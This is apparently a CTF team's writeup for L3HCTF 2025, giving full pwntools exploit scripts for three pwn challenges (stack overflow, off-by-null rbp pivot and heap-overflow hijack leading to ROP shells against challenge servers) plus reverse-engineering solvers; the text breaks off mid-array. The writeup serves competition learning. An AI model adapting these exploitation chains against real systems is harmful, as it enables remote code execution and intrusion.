Featured image of post L3HCTF 2025

L3HCTF 2025

UKFC 2025 L3HCTF Writeup

本次比赛中UKFC获得第10名的成绩 1752575738868

PWN

heack

buf 能覆盖 v4,能控制写的位置,可以绕过 canary 检测

这边是返回地址是 0x18e2

返回时,rdi 是 libc 地址,只需要跳到一个 printf 的地方就行

跳到 0x191a 就能泄露地址,但是因为第四位存在随机性,只需要爆破一下就行,概率只需要十六分之一,概率很大。拿到 libc 之后直接打 rop 就行

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
#!/usr/bin/env python
from pwn import *

context(os = "linux", arch = "amd64", log_level = "debug")
filename = "vul2_patched"
libcname = "/home/a1te/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6_2.39-0ubuntu8.4_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "1.95.34.119"
port = 9999
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
gs = '''
b main
b game
b *$rebase(0x017FA)
b *$rebase(0x0131E)
set debug-file-directory /home/a1te/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6-dbg_2.39-0ubuntu8.4_amd64/usr/lib/debug
set directories /home/a1te/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/glibc-source_2.39-0ubuntu8.4_all/usr/src/glibc/glibc-2.39

decompiler  connect ida --host 127.0.0.1 --port 3662
'''

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gs)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process(elf.path)

io = start()

def dbg():
    gdb.attach(io,gdbscript = gs)
    pause()

s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x , y : io.sendafter(x , y)
sla = lambda x , y : io.sendlineafter(x , y)
r = lambda x : io.recv(x)
ru = lambda x : io.recvuntil(x)
rl = lambda x : io.recvline(x)
inter = lambda : io.interactive()

#dbg()

def cmd(idx):
    sla(b'> ',str(idx))

def fight_dragon(data):
    cmd(1)
    sla(b"You grip your sword and shout:",data)

def note_system(cho,idx=None,size=None,data=None):
    cmd(5)
    sla(b"Choose an option: ",str(cho))
    if cho == 1:
        sla("Enter index (0-15): ",str(idx))
        sla(b"Enter diary content size (1-2048): ",str(size))
        sla(b"Input your content: ",data)
    if cho == 2:
        sla(b"Enter index to destroy (0-15): ",str(idx))
    if cho == 3:
        sla(b"Enter index to view (0-15): ",str(data))

def add(idx=None,size=None,data=None,flag=False):
    if flag:
        cmd(5)
    sla(b"Choose an option: ",str(1))
    sla("Enter index (0-15): ",str(idx))
    sa(b"Enter diary content size (1-2048): ",str(size))
    sa(b"Input your content: ",data)

def free(idx=None):
    sla(b"Choose an option: ",str(2))
    sla(b"Enter index to destroy (0-15): ",str(idx))

def show(idx=None):
    sla(b"Choose an option: ",str(3))
    sla(b"Enter index to view (0-15): ",str(idx))

def exit():
    sla(b"Choose an option: ",str(4))


while True:
    try:
        io = remote(host, 9999)
        fight_dragon(b'a'*(0x110-0xd)+p8(0x17)+p8(0x1a)+p8(0x89))
        io.recvuntil(b"[Attack]: ")
        libc_addr = int(io.recv(15)) - 0x204643
        print(f"libc_addr: {hex(libc_addr)}")
        pop_rdi = libc_addr + 0x000000000010f75b
        system_addr = libc_addr + libc.symbols['system']
        bin_sh_addr = libc_addr + next(libc.search(b"/bin/sh"))
        ret = libc_addr + 0x0000000000116c4e
        og = libc_addr + 0xef52b
        pop_rax = libc_addr + 0x00000000000dd237
        #fight_dragon(b'a'*(0x110-0xd)+p8(0x17)+ p64(ret) +p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr))
        fight_dragon(b'a'*(0x110-0xd)+p8(0x17)+ p64(pop_rax) +p64(0) + p64(og) )
        io.interactive()
    except:
        io.close()

heack_Rev

这串奇怪的数字是直接写死在代码中的,利用错位可以找到 0x5d 也就是"pop rbp",配合 off by null 可以在不 leak 的前提下修改 rbp 的值到 heap 上,由于管理 heap 地址的结构放在 game 函数的栈帧上,所以修改 rbp 之后就可以通过输出 hp attack pwoer 的值来 leak 得到 heap 上的数据,即 libc_base,需要事先布置堆风水,之后将 rop 链写到 heap 上从 game 函数返回

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
#!/usr/bin/env python3

from pwn import *

context(arch = "amd64" , os = "linux" , log_level = "debug")
context.terminal = ['cmd.exe', '/c', 'start', 'wsl.exe', '-d', 'Ubuntu-22.04']

#io = process("./pwwn")
io = remote("43.138.2.216",19999)
'''
io = gdb.debug("./pwwn","""
# show
#b *$rebase(0x1653)
# show_out
#b *$rebase(0x19B2)
# goout
#b *$rebase(0x171A)
# fight
#b *$rebase(0x17D7)
# add
#b *$rebase(0x141D)
# fight's leave_ret
#b *$rebase(0x1827)
#tb game
# game's leave_ret
#b *$rebase(0x1A1E)
# sad
b *$rebase(0x1A19)
# b malloc
#b *$rebase(0x141D)
c
""")
'''
libc                            =  ELF("./libc.so.6")
# s_in_stack 0x7fffffffdc10
def menu_out(choice):
        io.sendlineafter(b"5. Note",str(choice).encode())

def menu(choice):
        io.sendlineafter(b"Choose an option:",str(choice).encode())

def fight(payload):
        menu_out(1)
        if len(payload) < 0x38:
                io.sendlineafter(b"You grip your sword and shout:",payload)
        else:
                io.sendafter(b"You grip your sword and shout:",payload)

def add(idx,size,content):
        menu(1)
        io.sendlineafter(b"Enter index",str(idx).encode())
        io.sendlineafter(b"Enter diary content size (1-2048):",str(size).encode())
        io.sendafter(b"Input your content:",content)

def free(idx):
        menu(2)
        io.sendlineafter(b"Enter index to destroy",str(idx).encode())\

def show(idx):
        menu(3)
        io.sendlineafter(b"Enter index to view",str(idx).encode())

def show_out():
        menu_out(4)

def gointo():
        menu_out(5)

def goout():
        menu(4)

gointo()
add(1,0x500,b"A")
add(0,0x50,b"\x00"*0x20+p64(0x50)+p64(0x30))
free(1)
add(1,0x4b0+0x30,b"A")
add(2,0x500,b"A")
goout()
# leak get libc_base
payload                         =  b"A"*0x20 + b"B"*3
payload                         += b"\x37" + b"\x6a"
#payload                        += b"\x37" + b"\x9c"
# stack migration
#payload                        += b"\x2f" + p64(0x1111) + b"\x27"
fight(payload)
#io.recvuntil(b"Data: ")
#libc_base                      =  int(io.recvuntil(b"\x0a")[:-1])
#success(f"libc_base            => {hex(libc_base)}")
show_out()
io.recvuntil(b"[Attack]: ")
libc_base                       =  int(io.recvuntil(b"\x0a")[:-1]) - 0x203b30
system                          =  libc_base + 0x58750
pop_rdi_ret                     =  libc_base + 0x000000000010f75b
bin_sh                          =  libc_base + 0x00000000001cb42f
success(f"libc_base             => {hex(libc_base)}")

#for i in range(0x3):
#       menu_out(2)
'''
gdb.attach(io,"""
b *$rebase(0x1A19)
b *$rebase(0x141d)
c
""")
'''
gointo()
add(10,0x1,b"A")
goout()

for i in range(3):
        menu_out(2)
gointo()
free(10)

payload1                        =  b"\x11"*0x28
payload1                        += p64(pop_rdi_ret+1) + p64(pop_rdi_ret)
payload1                        += p64(bin_sh)
payload1                        += p64(system)[:-1]
add(10,0x48-1,payload1)

goout()

menu_out(1111)

'''
gointo()
add(0,0x500,b"AAAA")
add(1,0x500,b"BBBB")
free(0)
add(0,0x500,b"\x20")
goout()
'''
io.interactive()

library

这个题目貌似是一道 Kotlin 写的堆题,审计十分困难,基本上只能通过动调的方式解决

并且题目环境在本地,docker,和靶机之间貌似也有一些微妙的区别

其中 1 对应 add ,2 对应 free ,3 对应 edit

其中 edit 较为重要,进行多次填充固定内容不同 page 的 edit 可以使用 search 搜寻到

可以得出 edit 函数的 page 是类似一个偏移,并且操作是一个类似于堆的位置,这里写了 0x114514 可以找到

而上文对 page 进行修改时发现 page 并未有严格的边界检查,形成类似堆溢出

下面的内容,即上图表示一个 c 一个 i 的内容是堆块名字,即 chunithm ,只不过是双字节长而已,可以往那个内容写东西就会留下一个红色的地址,借此通过输出可以得到 libc ,需要 utf8 变 unicode,上图其实写到了 maimaima 的位置

对于堆的开发还不止这些,对于覆盖堆上写着自己内容的地址一旦被修改会导致执行流被破坏,进一步发现这些地址类似于虚表一样的,程序在执行中会根据这些地址的偏移寻找应该执行什么,可以劫持,尤其是对应在主函数之间的地址,事实上,远端不知道怎么回事,堆的地址相对于 libc 不变,我们可以写堆地址并找个地方伪造一下就能执行想执行的函数

然后我们需要劫持执行流到堆这里,布置 gadget ,这时候我们需要执行的就是 wp 的 magic gadget,通过适配 gadget 进行堆布局,进而执行 rop 流

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#!/usr/bin/env python3
from pwn import *

filename = "library"
libcname = "/home/lufiende/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6_2.39-0ubuntu8.4_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
elf = context.binary = ELF(filename)
host = "1.95.8.146"
port = 25314
container_id = ""
proc_name = ""
if libcname:
    libc = ELF(libcname)
gs = '''

'''
# b *0x227ec0
context(arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]
context.log_level = "debug"

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gs)
    elif args.REMOTE:
        return remote(host, port)
    elif args.DOCKER:
        import docker
        from os import path
        p = remote(host, port)
        client = docker.from_env()
        container = client.containers.get(container_id=container_id)
        processes_info = container.top()
        titles = processes_info['Titles']
        processes = [dict(zip(titles, proc)) for proc in processes_info['Processes']]
        target_proc = []
        for proc in processes:
            cmd = proc.get('CMD', '')
            exe_path = cmd.split()[0] if cmd else ''
            exe_name = path.basename(exe_path)
            if exe_name == proc_name:
                target_proc.append(proc)
        idx = 0
        if len(target_proc) > 1:
            for i, v in enumerate(target_proc):
                print(f"{i} => {v}")
            idx = int(input(f"Which one:"))
        import tempfile
        with tempfile.NamedTemporaryFile(prefix = 'cpwn-gdbscript-', delete=False, suffix = '.gdb', mode = 'w') as tmp:
            tmp.write(f'shell rm {tmp.name}\n{gs}')
        print(tmp.name)
        run_in_new_terminal(["sudo", "gdb", "-p", target_proc[idx]['PID'], "-x", tmp.name])
        return p
    else:
        return process('./library')

def cho(choice):
    io.sendlineafter(b"choice:", str(choice).encode())

def add(name):
    cho(1)
    io.sendlineafter(b"borrow?", name.encode())
    show()

def rm(name):
    cho(2)
    io.sendlineafter(b"rn?", name.encode())
    show()

def edit(idx, off, content):
    cho(3)
    io.sendlineafter(b"read?", str(idx).encode())
    io.sendlineafter(b"page:", str(off).encode())
    io.sendafter(b"write:", content)

def show():
    cho(8)

while True: # 本地随机化
    io = start()

    add('maimaima')
    add('chunithm')

    edit(0, 15, p64(0x114514))

    show()

    # edit(0, 15, p32(0x114514))
    # edit(0, 15, p32(0x114514))

    io.recvuntil(b"[")
    leak = io.recvuntil(b"]")
    leak = leak.decode('utf-8')[4:-12]

    # 将每个字符转换为4位16进制后,按小端序倒序排列
    leak_unicode = ''.join(f"{ord(c):04x}" for c in reversed(leak))
    leak_off = 0x7c663ceaaa26 - 0x7c663ce00000
    libc_addr = int(leak_unicode,16) - leak_off
    log.info(f"libc_addr: {hex(libc_addr)}")

    # heap_end_addr = libc_addr - (0x71b88d400000 - 0x71b88c3fe000)
    # log.info(f"heap_addr: {hex(heap_end_addr)}")

    # jmpchunk_size = 0x140000
    # heap_addr = heap_end_addr - jmpchunk_size
    # fake_jmpchunk_addr = heap_addr + (0x7896b2fbe150 - 0x7896b2e3e000)
    # log.info(f"fake_jmpchunk_addr: {hex(fake_jmpchunk_addr)}")

    fake_jmpchunk_addr = libc_addr - (0x754647561000 - 0x75464649b250)
    edit(0, 13, p64(fake_jmpchunk_addr))

    binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))
    pop_rdi = libc_addr + 0x000000000010f75b
    syscall = libc_addr + 0x0000000000098fb6
    pop_rax = libc_addr + 0x00000000000dd237
    pop_r13_r14_rbp_ret = libc_addr + 0x000000000002b466
    pop_rsi_rbp_ret = libc_addr + 0x2b46b
    og_off = [0x583ec, 0x583f3, 0xef4ce, 0xef52b]
    onegadget = libc_addr + og_off[3]
    ret8 = libc_addr + 0x67e03
    system_addr = libc_addr + 0x58750
    retn = pop_rdi + 1
    push_rax_pop_rsp_lea_rsi_raxP0x48_mov_rax_rdiP8_jmp_raxP0x18 = libc_addr + 0x000000000016bdb0

    edit(0, 65, p64(pop_rsi_rbp_ret))

  
    edit(0, 66, p64(fake_jmpchunk_addr)) #适配 docker
    edit(0, 67, p64(fake_jmpchunk_addr))
    edit(0, 84, p64(push_rax_pop_rsp_lea_rsi_raxP0x48_mov_rax_rdiP8_jmp_raxP0x18))
    edit(0, 14, p64(fake_jmpchunk_addr - 0x28))
    edit(0, 69, p64(pop_rsi_rbp_ret)) #适配 docker
    edit(0, 70, p64(pop_rax)) #
    edit(0, 71, p64(pop_rax)) #
    edit(0, 72, p64(pop_rax))
    # edit(0, 73, p64(0x3b))  # syscall
    edit(0, 72, p64(retn))
    edit(0, 73, p64(pop_rdi))
    edit(0, 74, p64(binsh_addr))
    edit(0, 75, p64(system_addr))
    edit(0, 76, p64(0))  # rsi
    edit(0, 77, p64(0))  # rbp
    edit(0, 78, p64(syscall))  # syscall
    edit(0, 14, p64(fake_jmpchunk_addr-0x8))  # 适配 docker

    # edit(0, 20, p64(onegadget))
    show()
    

    # edit(0, 14, p64(0x10))
    # edit(0, 16, p32(0x114514))

    # add('maimai')
    # add('chunithm')

    # edit(0, 13, p16(0x1145)) 


    
    io.interactive()

Reverse

TemporalParadox

出题人在特定时间得到一个请求,现在要找到这个请求,格式如下

1
salt=tlkyeueq7fej8vtzitt26yl24kswrgm5&t=1752026221&r=2128292225&a=1694729870&b=798736519&x=652354306&y=851974691050

盐值固定,后面几个值一开始通过伪随机算法得出,初始值和时间戳有关,fun1 对整个字符串进行 md5 加密,fun2 转字符串,最后输出得值就是前面计算出的 r,a,b,x,y

猜测最后给出比较得值就是要求得请求的 md5 值,要爆破 2025-07-09 00:00:00 — 2025-07-09 17:07:31

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
a = 0;
  b = 0;
  x = 0;
  y = 0;
  for ( i = 0; i < (int)cal_num(); ++i )
  {
    a = cal_num();
    b = cal_num();
    x = cal_num();
    y = cal_num();
  }
  r = cal_num();
  
  
  __int64 cal_num()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  v1 = (((num << 13) ^ (unsigned int)num) >> 17) ^ (num << 13) ^ num;
  num = (32 * v1) ^ v1;                         // num初始为时间戳
  return num & 0x7FFFFFFF;
}

重写逻辑把每个时间的字符串都保存下来

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int num, g;

int cal_num()
{
    unsigned int v1; 
    
    v1 = (((num << 13) ^ (unsigned int)num) >> 17) ^ (num << 13) ^ num;
    num = (32 * v1) ^ v1;                         
    return num & 0x7FFFFFFF;
}

int abc()
{
    int a, b, c, d, y, x, r;
    a = 0;
    b = 0;
    x = 0;
    y = 0;
    for (int i = 0; i < (int)cal_num(); ++i)
    {
        a = cal_num();
        b = cal_num();
        x = cal_num();
        y = cal_num();
    }  
    r = cal_num();
    
    FILE *file = fopen("test.txt", "a"); 
    if (file != NULL)
    {
        fprintf(file, "salt=tlkyeueq7fej8vtzitt26yl24kswrgm5&t=%d&r=%d&a=%d&b=%d&x=%d&y=%d\n", g, r, a, b, x, y);
        fclose(file);
    }
    else
    {
        printf("无法打开文件 test.txt\n");
    }
    
    return 0;
}

int main()
{
    FILE *file = fopen("test.txt", "w"); 
    if (file != NULL)
    {
        fclose(file);
    }
    
    for (int i = 1751990401; i <= 1752052051; i++)
    {
        num = i;
        g = num;
        abc();
    }
    
    return 0;
}

然后 md5 比较

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import hashlib

def calculate_md5(input_string):
    # 计算字符串的MD5哈希值
    md5_hash = hashlib.md5(input_string.encode('utf-8')).hexdigest()
    return md5_hash

def find_matching_strings(file_path, target_md5):
    try:
        with open(file_path, 'r', encoding='utf-8') as file:
            for line in file:
                # 去除行尾的换行符
                original_string = line.strip()
                # 计算MD5
                current_md5 = calculate_md5(original_string)
                # 比较并输出
                if current_md5 == target_md5:
                    print(f"匹配的原始字符串: {original_string}")
    except FileNotFoundError:
        print(f"错误: 文件 {file_path} 未找到")
    except Exception as e:
        print(f"发生错误: {str(e)}")

# 目标MD5值
TARGET_MD5 = "8a2fc1e9e2830c37f8a7f51572a640aa"
# 替换为你的txt文件路径
FILE_PATH = "test.txt"

if __name__ == "__main__":
    find_matching_strings(FILE_PATH, TARGET_MD5)
#salt=tlkyeueq7fej8vtzitt26yl24kswrgm5&t=1751994277&r=101356418&a=1388848462&b=441975230&x=1469980073&y=290308156

最后把这个字符串 sha1 加密就可以了

easyvm

关键函数在 sub_140001C45

在输入的地方有一个 func 函数,用来储存,后面 vm 循环和最后密文 check 的地方都调用了这个函数

这个循环里面就是 vm

密文

1
2
3
4
0xA6, 0x62, 0x7A, 0x87, 0xF3, 0xF1, 0x55, 0x6A, 0x47, 0x48, 
  0x19, 0xAE, 0xE7, 0x43, 0xE6, 0xB1, 0x81, 0xE8, 0x4F, 0xA9, 
  0x8A, 0xA2, 0xC8, 0x9B, 0x9F, 0xAA, 0xCF, 0xC4, 0xA1, 0x0C, 
  0xA0, 0xF1

输入 11223344556677881122334455667788 找到解释器,在异或,加减,左右移处下访问断点 trace 执行流,这里贴一部分结果

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
0x34343333 << 0x3 == 0x1a1a19998
0xa56babcd + 0xa1a19998 == 0x1470d4565
0x0 + 0x34343333 == 0x34343333
0x0 + 0x34343333 == 0x34343333
0x34343333 ^ 0x65 == 0x34343356
0x34343333 >> 0x4 == 0x3434333
0xffffffff + 0x3434333 == 0x103434332
0x73397656 ^ 0x32 == 0x73397664
0x32323131 + 0x707a3564 == 0xa2ac6695
0x11223344 + 0x0 == 0x11223344
0xa2ac6695 << 0x2 == 0x28ab19a54
0xffffffff + 0x8ab19a54 == 0x18ab19a53
0x11223344 + 0xa2ac6695 == 0xb3ce99d9
0xabcdef01 + 0xb3ce99d9 == 0x15f9c88da
0x5f9c88da ^ 0x53 == 0x5f9c8889
0xa2ac6695 >> 0x5 == 0x5156334
0xa56babcd + 0x5156334 == 0xaa810f01
0xd52d1289 ^ 0x1 == 0xd52d1288
0x34343333 + 0x7fac1d88 == 0xb3e050bb
0x40 - 0x1 == 0x3f
0xb3e050bb << 0x3 == 0x59f0285d8
0xa56babcd + 0x9f0285d8 == 0x1446e31a5
0x11223344 + 0xb3e050bb == 0xc50283ff
0x0 + 0xc50283ff == 0xc50283ff
0xc50283ff ^ 0xa5 == 0xc502835a
0xb3e050bb >> 0x4 == 0xb3e050b
0xffffffff + 0xb3e050b == 0x10b3e050a
0x816cb25a ^ 0xa == 0x816cb250
0xa2ac6695 + 0x8a52b750 == 0x12cff1de5
0x11223344 + 0x11223344 == 0x22446688
0x2cff1de5 << 0x2 == 0xb3fc7794
0xffffffff + 0xb3fc7794 == 0x1b3fc7793
0x22446688 + 0x2cff1de5 == 0x4f43846d
0xabcdef01 + 0x4f43846d == 0xfb11736e
0xfb11736e ^ 0x93 == 0xfb1173fd
0x2cff1de5 >> 0x5 == 0x167f8ef
0xa56babcd + 0x167f8ef == 0xa6d3a4bc

根据 trace 还原出的加密逻辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdint.h>
#include <stdio.h>
#include <iostream>
using namespace std;
uint32_t key2 = 0x0;

uint32_t key1 = 0xa56babcd;

uint32_t key3 = 0xabcdef01;
uint32_t delta = 0x11223344;

int main(){
    uint32_t v1 = 0x32323131;
    uint32_t v2 = 0x34343333;
    uint32_t temp1, temp2, temp3, temp4;
    for(int j = 0; j < 4; j++){
        //change v1 v2
        for(int i = 0; i < 64; i++){
            temp1 = ((((v2 << 3) + key1) & 0xFFFFFF00) ^ ((key2 + v2) ^ (((v2 << 3) + key1)&0xff)) ^ ((v2 >> 4) + 0xffffffff)&0xff);
            temp2 = ((v2 >> 4) + 0xffffffff) & 0xFFFFFF00;
            v1 += (temp1 ^ temp2);

            key2 += delta;
            printf("%x\n",key2);
            temp3 = (((key2 + v1) + key3) ^ (((v1 << 2) + 0xffffffff) & 0xff)) ^ (((v1 << 2) + 0xffffffff) & 0xffffff00) ^ (((v1 >> 5) + key1) & 0xFF);
            temp4 = (((v1 >> 5) + key1)& 0xFFFFFF00);
            v2 += (temp3 ^ temp4);
            printf("%x %x\n",v1, v2);
        }
    }    
};

魔改的 tea 类,解密逻辑&exp(最后 flag 层内和层间都需要逆序)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdint.h>
#include <stdio.h>

uint32_t key2 = 0x0;
uint32_t key1 = 0xa56babcd;
uint32_t key3 = 0xabcdef01;

void decrypt() {
    uint32_t enc[8] = {  0xC4CFAA9F, 0xF1A00CA1, 0xA94FE881, 0x9BC8A28A, 0xAE194847,     0xB1E643E7, 0x877A62A6, 0x6A55F1F3};

    uint32_t delta = 0x11223344 * 256; 

    for(int j = 0; j < 4; j++){
        uint32_t v1 = enc[j*2];
        uint32_t v2 = enc[j*2+1];
        for (int i = 0; i < 64; i++) {

            uint32_t temp3 = (((delta + v1) + key3) ^ (((v1 << 2) + 0xFFFFFFFF) & 0xFF) ^ (((v1 << 2) + 0xFFFFFFFF) & 0xFFFFFF00) ^ (((v1 >> 5) + key1) & 0xFF));
            uint32_t temp4 = (((v1 >> 5) + key1) & 0xFFFFFF00);
            uint32_t combined2 = temp3 ^ temp4;
            v2 -= combined2;


            delta -= 0x11223344;


            uint32_t temp1_part = (v2 << 3) + key1;
            uint32_t temp1 = (temp1_part & 0xFFFFFF00) ^ 
                            ((delta + v2) ^ (temp1_part & 0xFF)) ^ 
                            (((v2 >> 4) + 0xFFFFFFFF) & 0xFF);
            uint32_t temp2 = (((v2 >> 4) + 0xFFFFFFFF) & 0xFFFFFF00);
            uint32_t combined1 = temp1 ^ temp2;
            v1 -= combined1;
        }
        printf("%x %x\n",v1, v2);
    }
}

int main() {
    decrypt();
    return 0;
}

ez_Android

tauri 框架,但是代码不在 html 里 搜字符串定位到 greet,直接抄出来解密

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>

int main() {
    // 定义 table 数组,等效于 Python 的 b'dGhpc2lzYWtleQ'
    unsigned char table[] = {0x64, 0x47, 0x68, 0x70, 0x63, 0x32, 0x6C, 0x7A, 0x59, 0x57, 0x74, 0x6C, 0x65, 0x51};
    // 定义 v8 数组
    unsigned char v8[] = {12, 21, 37, 160, 99, 150, 64, 10, 92, 22, 101, 64, 41, 6, 225, 31, 144, 114, 44, 14, 76, 10, 2, 252, 79, 50, 42};
    unsigned char i, v10, index1, index2, index3;
    unsigned int v11; // 使用 unsigned int 以确保位移操作安全

    // 主循环,遍历 27 次
    for (i = 0; i < 27; i++) {
        // 计算 v10
        v10 = i - 14;
        if (i < 0xE) {
            v10 = i;
        }
        // 计算 index1 = (((2 * i) | 1) - 14 * ((0x93 * ((2 * i) | 1)) >> 11))
        index1 = (((2 * i) | 1) - 14 * ((0x93 * ((2 * i) | 1)) >> 11));
        // 计算 index2 = (i + 4) % 0xE
        index2 = (i + 4) % 0xE;
        // 计算 index3 = (i + 3) % 0xE
        index3 = (i + 3) % 0xE;
        // v11 = v8[i] ^ table[index2]
        v11 = v8[i] ^ table[index2];
        // v11 = ((v11 << (table[index3] & 7)) & 0xff | (v11 >> (-table[index3] & 7)) & 0xff) & 0xff
        v11 = ((v11 >> (table[index3] & 7)) | (v11 << (-(int)table[index3] & 7)) ) ;
        // v11 -= table[index1]
        v11 -= table[index1];
        // v11 ^= table[v10]
        v11 ^= table[v10];
        // v8[i] = v11 & 0xff
        v8[i] = (unsigned char)v11 ;
    }

    // 打印 v8 数组的每个元素作为字符
    for (i = 0; i < 27; i++) {
        printf("%c",v8[i]);
    }
    // 打印最终的 v8 数组
    printf("还原后的 v8: [");
    for (i = 0; i < 26; i++) {
        printf("%d, ", v8[i]);
    }
    printf("%d]\n", v8[26]);

    return 0;
}

终焉之门

其实是着色器逆向,代码已经给了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#version 430 core

layout(local_size_x = 1, local_size_y = 1, local_size_z = 1) in;
layout(std430, binding = 0) buffer OpCodes  { int opcodes[]; };
layout(std430, binding = 2) buffer CoConsts { int co_consts[]; };
layout(std430, binding = 3) buffer Cipher   { int cipher[16]; };
layout(std430, binding = 4) buffer Stack    { int stack_data[256]; };
layout(std430, binding = 5) buffer Out      { int verdict;       };

const int MaxInstructionCount = 1000;

void main()
{
    if (gl_GlobalInvocationID.x > 0) return;

    uint ip = 0u;
    int sp = 0;
    verdict = -233;

    while (ip < uint(MaxInstructionCount))
    {
        int opcode = opcodes[int(ip)];
        int arg    = opcodes[int(ip)+1];

        switch (opcode)
        {
            case 2:
                stack_data[sp++] = co_consts[arg];
                break;
            case 7:
            {
                int b = stack_data[--sp];
                int a = stack_data[--sp];
                stack_data[sp++] = a + b;
                break;
            }
            case 8:
            {
                int a = stack_data[--sp];
                int b = stack_data[--sp];
                stack_data[sp++] = a - b;
                break;
            }
            case 14:
            {
                int b = stack_data[--sp];
                int a = stack_data[--sp];
                stack_data[sp++] = a ^ b;
                break;
            }
            case 15:
            {
                int b = stack_data[--sp];
                int a = stack_data[--sp];
                stack_data[sp++] = int(a == b);
                break;
            }
            case 16:
            {
                bool ok = true;
                for (int i = 0; i < 16; i++)
                {
                    if (stack_data[i] != (cipher[i] - 20))
                    { 
                        ok = false; 
                        break; 
                    }
                }
                verdict = ok ? 1 : -1;
                return;
            }
            case 18:
            {
                int c = stack_data[--sp];
                if (c == 0) ip = uint(arg);
                break;
            }
            default:
                verdict = 500;
                return;
        }
        ip+=2;
    }
    verdict = 501;
}

写出脚本还原逻辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
code = [
    0x00000002, 0x00000000, 0x00000002, 0x00000001, 0x00000002, 0x00000000, 0x0000000E, 0x00000000,
    0x00000002, 0x00000010, 0x00000008, 0x00000000, 0x00000002, 0x00000002, 0x00000002, 0x00000001,
    0x0000000E, 0x00000000, 0x00000002, 0x00000011, 0x00000008, 0x00000000, 0x00000002, 0x00000003,
    0x00000002, 0x00000002, 0x0000000E, 0x00000000, 0x00000002, 0x00000012, 0x00000007, 0x00000000,
    0x00000002, 0x00000004, 0x00000002, 0x00000003, 0x0000000E, 0x00000000, 0x00000002, 0x00000013,
